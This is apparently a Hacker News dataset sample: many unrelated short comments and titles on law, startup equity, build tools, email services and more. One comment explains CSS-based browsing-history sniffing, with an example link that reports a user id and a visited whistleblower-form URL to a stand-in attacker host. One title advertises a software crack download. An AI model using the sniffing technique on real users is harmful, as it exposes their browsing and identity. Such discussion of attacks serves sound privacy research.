skysight-inc/HackerNews huggingface dataset:
In addition to what you've said, the maximum penalty for whatever crime someone is charged tends to be about 10 x higher than anywhere else on the planet (probably because of the stacking), and many things have been declared serious crimes in the US that would be minor offenses and barely be persecuted elsewhere. See Aaron Schwartz.

And the US has started to demand extraditions of people as fugitives, even though they've never set a foot on US soil and their company falls under a completely different jurisdiction. See Kim Dotcom.

If you ask me, that's crazy. Then again, for someone living in the US it's probably just normal. Anyway, if you wear a tie and are white, there's not much to worry about in the US ... unless you're some sort of leftist hacktivist or reverse engineer a device you've purchased or develop p2p software, of course.
2. Cathedrals, and their close cousins, castles, last centuries

Business problem spaces don't last centuries. Algorithm do.
If you walk into a casino you're going to lose money. I don't even know the rules of any of the games and I can tell you that. Some situations are so tilted in favour of one side or the other that it's not worth trying to compete on that playing field.

Valuing the options at zero and demanding adequate salary without them is the opposite of meekness.
Show HN: A 30 sec animation using CSS only. (Learning to Code)
If only we could find a way to engineer more of the humanity out of being human. Humans would be great if they just weren't so human. I have high hopes for humankind, it's just that first we have to figure out what to do with the human part.

So I agree with you. I too am skeptical being human is beneficial to being human, it's just that I'm not really sure what we'd do without it, either.
This I think will be a very good target since you can take complete control of a computer. Any plans on introducing 2FA or external security audits?
I know nil about bootloaders, but about until 6 months ago, I used syslinux to load Arch for a bunch of years and it just worked (since then I departed for FreeBSD where you don't care about the brand of your bootloader). IDK if I ever saw the config file for that actually.
Misleading title and premise: The author makes it seem as if something will be explained for people who are not 'financially-savvy', but nothing is explained. In fact it is made more complex. Which is fine, but still it was kind of misleading. Solid advice to get financial advice nonetheless.

Can someone explain this part to my/some-of-us like I am five?:

"Which muppets advised them to spend hard-earned cash to exercise a non-liquid, highly volatile financial instrument? There is no world where the (relatively) small tax breaks involved justify the expected value equation, given that Good Technology was nowhere near exit."

I have no idea what it says here.
The US doesn't and probably will never have eID, for several reasons:

1. The US does not have a compulsory national ID. No, Social Security is in fact opt-in, it's just that these days most people are opted in without their consent. Passports are clearly optional.

2. The US is unique in the states/federal struggle, which has been ongoing since before 1776. One of the reasons REAL ID will never get adopted is because many states fight strongly against it.

3. There is a real question of jurisdiction. Does the Constitution grant the right for the federal government to force citizens to have an ID? If you invoke the supremacy clause, the states will invoke the 10th amendment right back at you :)

4. Do you really want the US to have a federal ID database? Between the Hillary emails, the OPM hack, and the general spirit in which the federal government seems to be operating, the last thing I'd want is for them to have more power.
Honestly, I'm not sure what I want.

You mention response times and priority support, and are talking about choosing nginx vs Apache. That's far more detail than I care about. I want to click a button, give you my card details, have an inbox and calendar that I can easily access on my phone, work machine and home machine, and with some level of guarantee about the security and privacy of my data. I'm not bothered about support response times - 99.9% of the time I'm not going to need it.

I want google mail + Google calendar, without the Google.
Cursory Hack
Both good points. In practice a) hasn't been an issue but for b) we had to apply a fair amount of patches ourselves.

Luckily b is almost fixed, and if combined with e.g. grsecurity I think nix has a good story.
The CIA’s 1944 Simple Sabotage Field Manual (2015)
DisplayFusion Pro 8.0 Crack and Serial Key Free Download
At a guess (can't test right now, on mobile) a browser plugin that manipulated CSS might be able to override *:visited, setting the colours to something that wouldn't permit detection -- "inherited" perhaps?

Has anyone tried something like this, e.g. with the userstyles plugin?

https://userstyles.org/
Hear, hear! Add the rss protocol and feed readers, and who needs Facebook either. Short tweets or long form, you can write either or both on your own blog.
(Noob here) Don't most startups offer stock options and not actual stock nowadays? Is the owner of options classified as a stockholder under the law?
It's a lottery ticket. You say thanks when you're given one, but you don't use it to justify a lack of real compensation. Because in the end, you can't pay bills with lottery tickets.
Do other countries run a similar information service using MHEG or HbbTV (news, weather, sports results, exchange rates, that kind of thing?).
> Thats like saying programming is fancy way of saying "banging fingers on keyboard".

perhaps you were referring to the 'infinite monkey theorem' ? i would rather believe programming to be nothing like that.
Previous discussions:
http://news.ycombinator.com/item?id=4407188
https://news.ycombinator.com/item?id=8812724
Sierpinski Triangle in HTML and JavaScript
I will be releasing a roadmap later today, but extra security is planned. Everything is open source so anyone is welcome to help out.

https://github.com/Ulterius
A better idea.
OSX/Linux soon hopefully.
EventAgent: A brand new way to discover amazing events on mobile (Beta)
I thought the same. The post does not explain anything at all, just dumps a lot of jargon.

I think it says employees are convinced to spend their money on options/equity in the startup they work for, but a startup is a gamble, most don't work out. Specifically, in the Good Technology the author feels the valuation given in the buy was nowhere near the point at which the investors/founders had hoped to exit?
Health apps – the importance of information
>I just tend to assume that my language faculty is sufficient to follow involved arguments

Spoiler alert - it's not. You didn't even use the right form of skeptic; you should have written 'skeptical.' Besides being a non-sequitur, your analogy is fatally flawed. It presupposes that it is possible to steal ideas, when in fact it is only possible to copy them. Furthermore, every homeless person knows how to extract resources from the environment: throw a brick in somebody's window and steal their stuff. Resources extracted. If by 'extract resources' you mean 'get a job and be a law-abiding citizen' then I question whether you have ever tried to rebuild a life from absolutely nothing while staying inside the confines of the law. It might be harder than you think.
I rather like the czech touristic maps

https://mapy.cz/turisticka?x=14.1802678&y=49.9386049&z=14&so...

They have coverage of the whole Europe and an app with offline maps. They also have other map layers - Summer/Winter tourism, roadmap, physical, 19th century and one that can be printed for blind people.
I'm not saying that it wasn't possible, but that it wasn't exposed in Visual Studio in usable way.

As for COM, it seems to me that most common reason why something developed by some ISV is separate DLL is that it's COM component.
"advised to exercise their stock options"

The option is free. Exercising them is not. You won't get from having the option to jump into the water, you only get wet if you actually do it.
> But that doesn't mean that it was the right solution then, and it certainly is not the right solution now.

I'm not saying it was the right solution, but the essay makes a lot of claims beyond some straw man notion that autoconf is the right solution. Even in my critique I made it clear that autoconf is inevitably NOT the best solution.

> There is no archtectural vision, no economy of style, no consistency and absolutely no symmetry or simplicity.

There's a distinction between autoconf & the autoconf library. Autoconf itself has a comparatively simple design that was conceived and implemented largely over one summer by one engineer, who curated it through several subsequent iterations of embellishments. It's design was extended in to automake, etc. which lead to the whole GNU build system.

The automake library on the other hand is largely a Bazaar of contribution of work arounds from developers, with some modest efforts at curation that emerged over time, rather than being conceived from the get go.

> That is of course better than doing it all the time, but it is still going to stink.

It still might stink, but it is hardly the most important problem most people deal with, and the whole process functions well enough in the end, so the people with the expertise to make a better solution have other more pressing problems instead.
I would send Mr. Obama a mail signed by Mr. Putin's private key. The message would just be: "All your mail are belong to us, sucka". After which, I will send Mr. putin the same message but signed by Mr. Obama. :)
Not only that, I use Linux with LUKS, and shutdown whenever I'm not using the box :)
Hinders. What you're trying to find is someone who's got similar goals/ambitions for how they want to live their life in future, and who has a good sized surface area overlap with you on how to spend their free time now.

Dating someone in the same field gives greater likelihood of finding that, but there's other ways to do it too. People who went to similar schools, people in related fields, people who hang out at similar social events...

Your work is one field where you can find overlap, but there's lots of others. My fiancé works in a completely different field, but we have similar preferences in how we spend our spare time. I'd have never met her if I restricted myself to programmers (she's in conservation and events; an odd mix to say the least).
It's not entirely true that a replacement for autoconf would just have to be a better autoconf. You don't need a solution that works at all like autoconf (doesn't even have to generate code at all). You can avoid MUCH of what autoconf deals with by writing portable code and following some sane strategies for constructing include paths and selecting library files. It's just that when you do that, you have to solve all of these problems yourself, while the autoconf library has already been battle tested on a wide variety of platforms... a level of effort that would be hard to replicate.
>charge stacking

You mean being charged for the crimes you are accused of? Are there countries where crimes are 'buffet style' where once you commit a bad one you might as well commit a whole bunch because the single crime covers the rest?
Ohh, and I would found an business to provide psychological counseling for ex-NSA employees. :D
You would use background-images for the links - they will trigger the parametrized GET to the server. Present browsers only load the image if it is visible and not hidden ("display:none"). They can be transparent 1px - they just need to be turned visible one by one if a slecetor fits.

For example: you'd hide every link, except the one that should trigger a GET to the attackers server to leave the information there. Easy - and with cascaded :NOT and ~ selectors you can accomplish this on scale. The links would look something like this:

<a href="https://secretsiteone.com/whistleblower/form" style="background-image: (url://uncloakwhistleblowers.com/img/transp.gif?checkeduser=id12345&vistedurl=secretsiteone.com%2Fwhistleblower%2Fform)">

A while back i demonstrated that a website without JS can trigger GET-requests BY HOVERING A LINK. My coworkers didn't believe me - they were wrong.
Caveats: When caching is enabled this attack will trigger just once - but that is enough in that case.

I found the codepen, that i had made back then: http://codepen.io/teamgroove/pen/mIxfg

USE LYNX: Turns out one shouldn't just turnoff JS - but images also. Maybe then better use: lynx as a browser (with all cookie-stuff-deavtivated and behind a tor-proxy or better: proxy-chains) if concerned about privacy. Even that will NOT be "secure enough" - of course - it just wouldn't expose your browsing-history in the first place - which was the topic.
OnePlus 3 Support Nightmare (on-going)
Job Pal _ the World's First Job Chatbot
10000% = 10000 / 100 = 100 = 2 orders of magnitude
> I have no idea what it says here.

i would _guess_ it means that (in this specific scenario): folks miscalculated the perceived tax-break benefits offered (due to option exercise at the time of vesting) vis-a-vis using their money more profitably somewhere else.
Thank you for responding.

The listed roles were just to show the idea of the service; an role providing mail and calendar (e.g. Kolab) would only have a few required options (if any). Any additional detail would be optional and have our default recommended values.
Perhaps a guild might be more to your liking? Until something is done professional VCs will continue to hold undue, exploitative power over engineers due to their flim-flammery.
Or add a little one in the corners to fill out most of the star shaped remainder?

Probably farm land is cheap, and it's easier to expand by adding more of the same than optimising usage. Maybe there's alternative needs on the farm that provide more benefit than cramming in as many of these things as possible. After all, it wouldn't be the most complicated thing in the world to just have a thing that isn't fixed in the middle.
> exercise a non-liquid, highly volatile financial instrument?

Buy something that can't be converted quickly and easily back into cash (non-liquid), and whose value changes a lot (highly volatile). This means if it starts to go down, you can't get rid of it fast enough and you stand to lose a lot.

> the expected value equation, given that Good Technology was nowhere near exit

The value equation would be, the outcome ($) times the likelihood of that outcome. So the outcome might be big, but the chance for it is perceived to be small (given that they were nowhere near exit), so the expected value is not very high.

Boils down to they spent their hard-earned cash buying something that might lose a lot of value, is unlikely to be a big win, and that they, once they buy it, are basically stuck with it. No wonder he disses the advisors (note all of this is just explanation of what is said, without judging if his premises are correct).
A matrix of cobalt oxide?

Isn't that going to make it heavy?
The lazy nerd in me wonders if he can abuse sth like a dot-matrix printer to automate this.
i used to work at Simply Hired; the employers are the customers of these job aggregators--eg, they give you access to a their database of current open positions often via an API, and we would load them into our ETL pipeline then put them on the SH Site, hopefully after intelligently indexing them so that a user (prospective employee) could retrieve the available jobs they are looking using just a handful of broad keywords.

Of course you're spot on that traffic to the Site, in the form of prospective employees, is just as important. But there's no agreed-upon, industry-wide KPI to express this and i suspect that might discourage public disclosure.

as you can imagine there are maybe a dozen different ways to express site traffic. So for instance, unique visitors per day gives you an optimistic figure but without any indication of traffic quality (ie, how many searches, how many jobs they clicked, and how many they applied for); and of course at the other end is something like "unique applicants per day".

and again, on the other hand, paying customers (employers) while not the whole story, is a metric subject to less reporting variance.
Parkinson's Law: work expands to fill the time available (1955)
It's pretty OK for my wife and me. The pros are we can easily talk about work, questions and issues. It's nice, that we can go deep into details and we don't need to try to explain what we do like to a 10 y.o. person. We can share some practices. I am backend focused, and my wife is a frontend developer so we can learn something new from each other. We can both understand that we we sometimes to code at home.

Another pro is we don't have a big gap in salaries being more or less well paid (in Germany).

The drawbacks are that you are quite limited in scope, you don't learn something new outside of your programming domain. The mindsets are pretty similar: sometimes I think my wife is too logical, and we have a similar way of thinking after many years in the profession, which can be a bit boring.
Windows is not Linux "under the hood".
IoT helps airports to effectively plan staffing resources with demand
Rather than loudly proclaiming your ignorance about casions and options, you should introspect.

I know several people who successfully negotiated better terms. Demanding "adequate" salary and valueing options at "zero" are two seperate tasks. You assume latter (options not valued at 0) implies former (salary not adequate) its a statement about your risk averse world view, not a statememt of fact.

As far as meekness, loudly proclaiming that you are valuing options at zero is great way of letting your co workers and others know of your level of interest in the success of company. At which point if not meek you would surely come across as contemptuous, lest the company suceed and your coworkers end up better off than you.
Bluetooth lock hacks defcon2016
> Why did we go from [...] talking about how all software will some day be free to being afraid to seriously consider the proposition?

HN is clearly not attracting much of the FLOSS crowd.
Leftism is a direct derivative of fundamentalist Judeo-Christian ideology. There's no irony or contradiction here.
That's not what he criticises. His criticism is about all the bloat that's there as layers of unnecessary abstractions for what can be done with a simple script that's run regularly by cron as root (or rather as a separate motd user who can write to /etc/motd, for better security).
Finance is evil. Day trading, investment banking, venture capital; they don't produce anything for society, they just sit at the intersection of various people, companies and industries and they capture big chunks of the money that flows between them - They rely on information asymmetry and market manipulation to do so; but 'information asymmetry' is just a euphemism for 'deception'.

Even startups which are doing well and generate profit tend to go on to raise money from VCs - This sounds ridiculous; they don't need the VC money but they raise money from the VC anyway because: 1. They need the connections and 2. They need the tech 'media' to promote them with a headline like "W raises $X millions from Y to disrupt/democratize Z!".

This highlights the fact that VCs have an oligolopy when it comes to economic connections and the media and they leverage it for their own needs.

Also the fact that crowdfunding was essentially illegal for so long is also scandalous - Not only do they hoard all important social connections and the media but they also have a stranglehold on politics.
I think you're right that it can be used as a layer, but the reason we admonish against security-by-obscurity is that when you hide something, you often put less work into securing it properly.

It's like when you leave a key for someone under a door mat. You don't often consider that the door might be easily kicked in by an intruder.
Wikipedia has some photos of hexagonally arranged fields, so apparently it is used in some places:

https://en.wikipedia.org/wiki/Center_pivot_irrigation
Try going analogue, find a hobby that doesn't involve a computer (music, cooking, hiking etc.). I find if I do even a small amount of a few different activities in a day, it feels a lot more full. A day spent coding, then going home to cook dinner and read a book always feel better than a day spent coding, then going home to browse the internet or even work on a coding side project (if I get around to those, they're restricted to the weekend).
Linux.org is down
If anyone is interested in learning more about compensations and about salary negotiations, here are some previous discussions on Hacker News.

Open Guide to Equity Compensation (github.com)[1]

Salary Negotiation (kalzumeus.com)[2]

Ten Rules for Negotiating a Job Offer (freecodecamp.com)[3]

An interesting anecdote about negotiation [4]
[1]: https://news.ycombinator.com/item?id=10880726

[2]: https://news.ycombinator.com/item?id=11830598

[3]: https://news.ycombinator.com/item?id=12197795

[4]: https://news.ycombinator.com/item?id=11552780
good to see more new dev tools coming to Windows
Encapsulation and modularization is necessary, nothing more.

If you get this right, you can get away with a bunch of crappy thing, because you can easily throw them out in the future and reimplement them better.
If it were possible to gain an advantage in a competitive match by having your system deliberately drop a packet, the game would quickly become impossible to play competitively - that kind of cheating would be basically impossible to detect because there's no way to tell it apart from a genuine bad internet connection. If you've carefully thought through what the game should do when a packet is malformed that's one thing, but if you haven't thought about it then cleanly crashing is probably the best option.
I had exactly the same experience.

The final straw for me was finding a solid android experience. Specifically, a client that didn't eat my phone battery whilst still providing the near instant notifications I've come to expect from Gmail. When using fastmail via imap in the 'gmail' app it didn't seem to get any push notifications and the polling was either too slow or too battery draining depending on the time interval configured. When I tried fastmail's webapp thing I found the searching and offline experience lacking. Maybe it's moved on. All the (free) 3rd party android imap clients I tried were horrible to use.

So I also came crawling back to Gmail. Which was a shame as fastmail's calendar is so much better, almost worth it alone.
Yes, that's essentially how it works in every other country of the world. The US is very special in that the same sequence of action can be covered by ten different competing laws and you can and will be charged for ten different crimes on the basis of one and the same sequence of action. In the rest of the world, crimes are counted differently, you can be charged for several crimes at once, but prosecutors cannot stack up crimes on top of the same actions.

That's also the reason why the US has almost 25% of the world's prison population and the highest percentage of prison inmates per capita of any country in the world, with a growing tendency. People in the US are not inherently more criminal or violent than elsewhere, the US sense of justice is just very special and not shared by the rest of the world.
PostgreSQL vs. Linux kernel versions
It didn't have to be this way. Linux and UNIX desktop environments used to excel at session management and restoration, but if you can even find the option anymore in your desktop environment of choice, it rarely keeps all of the state from all of the apps you would want.